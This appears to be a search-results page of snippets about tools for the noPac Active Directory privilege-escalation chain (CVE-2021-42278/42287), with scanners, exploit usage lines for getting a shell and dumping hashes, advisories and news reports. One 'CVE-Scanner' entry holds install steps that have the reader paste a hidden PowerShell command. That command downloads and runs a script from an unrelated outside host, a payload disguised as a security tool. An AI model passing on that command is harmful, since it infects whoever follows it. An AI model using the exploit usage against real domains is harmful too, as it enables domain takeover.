28 matches found
noPac-detection
关于 CVE-2021-42278和CVE-2021-42287的检测脚本 使用 root@kitploit: The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help message and exit...
noPac
noPac CVE-2021-42287/CVE-2021-42278 扫描与利用工具。又一个低成本的域用户提权为域管理员漏洞利用。 如果域控制器存在漏洞，它将返回一个没有 PAC 的 TGT，请留意小尺寸票据。 缓解措施 请为您的域控制器打补丁！ 鸣谢 感谢 Charlie Clark 提供的 Rubeus 分支以及 Kevin Robertson 提供的 SharpMad。...
sam-the-admin
利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟DA 已知问题 它无法在Kali之外使用，我稍后会更新它 : 相关阅读 CVE-2021-42287/CVE-2021-42278武器化利用 sAMAccountName欺骗...
noPac
noPac 这个项目的由来是出于对 noPac 的原理学习, 在 cube0x0 的项目基础上进行了一些更改. 源码中添加了个人的理解注释. 删除了 Scan 功能, 个人觉得 Scan 功能用处比较鸡肋. 增加了 MachineAccountQuota 值的判断, 如果为 0 则退出程序. 优化了添加计算机帐户时的判断处理. 增加了 TGT 的输出. 漏洞的分析文章可以查看我的博客文章: noPac 分析 利用条件 noPac 是 CVE-2021-42278 sAMAccountName spoofing & CVE-2021-42287 deceiving the KDC...
noPac
概要 CVE-2021-42278 と CVE-2021-42287 を悪用して、標準ドメインユーザーから DA を偽装します 元は sam-the-admin から変更されました。 使用方法 root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show this help message and exi...
noPac
关于 NoPac 漏洞利用工具，利用一些旧漏洞 CVE-2021-42278 和 CVE-2021-42287，以标准用户身份模拟域管理员。 不再有烦人的依赖，只有一个单一二进制文件，天哪我太爱 Go 了，Python 永远做不到。 -shell 标志只是启动 impacket-smbexec。你也可以直接使用被模拟账户的 ccache 文件。 做这个主要是为了测试 Impacket 的新 Go 实现（gopacket），说实话它挺酷的，这也是向永远不用碰 Python 迈出的一步，这总是好的。 另外没有清理功能，我可能以后会添加，说不准。 用法 root@kitploit: Usage...
CVE-Scanner
CVE-Scanner 🔍 CVE-Scanner 是一款用于扫描和利用与 CVE-2021-42287、CVE-2021-42278 及其他安全漏洞相关漏洞的工具。本项目旨在为安全专业人员和研究人员提供一种直接的方法来识别并缓解其系统中的风险。 目录 功能 安装 用法 支持的 CVE 贡献 许可证 联系方式 功能 CVE 扫描 ：快速识别应用程序中的漏洞。 漏洞利用工具 ：针对特定 CVE 执行漏洞利用，以测试系统的防御能力。 用户友好界面 ：设计易于使用，即使对于安全工具新手也很友好。 定期更新 ：及时了解最新的漏洞和修复方案。 安装 开始使用前，请从 Releases 页面...
Invoke-sAMSpoofing
Invoke-sAMSpoofing CVE-2021-42287/CVE-2021-42278 的 PowerShell 利用工具 目录 概述 菜单 截图 参考 概述 一个简单的脚本，用于自动利用 CVE-2021-42287/CVE-2021-42278 攻击 AD。 菜单 Invoke-sAMSpooofing Invoke-GoldenTicket Invoke-GoldenTips RemoveMachineAccount Invoke-Rubeus ADSIHound Invoke-DCSync 截图 Invoke-sAMSpooofing...
CVE-Scanner
CVE-Scanner CVE-2021-42287/CVE-2021-42278/其他 扫描器与利用工具. 安装 1. 按下 WIN + R 键 2. 复制并粘贴以下代码，然后按回车键 root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. 重启你的电脑 使用 1. 打开 CMD 2. fexkex IP FOR SCAN...
noPac
noPac Exploiting CVE-2021-42278 and CVE-2021-42287 原项目noPac在实现上可能有点问题，导致在本地没有打通，于是参考sam-the-admin项目进行修改。 使用 root@kitploit: pip3 install -r requirements.txt GetShell python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell DumpHash python3 exp.py "domain/Username:Passw0rd" -dc-ip...
Invoke-noPac
Invoke-noPac The .Net assembly is based on my fork https://github.com/ricardojba/noPac that has a few code changes to improve upon the original. PowerSharpPack style .Net Assembly loader for the CVE-2021-42287 - CVE-2021-42278 Scanner & Exploit noPac. Usage: root@kitploit: Set-PSReadlineOption...
CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub
The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...
SUSE CVE-2021-42287
unknown...
noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...
Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)
Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...
Two Active Directory Bugs Lead to Easy Windows Domain Takeover
A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...
CVE-2021-42287
creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...
Exploit for CVE-2021-42278
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...
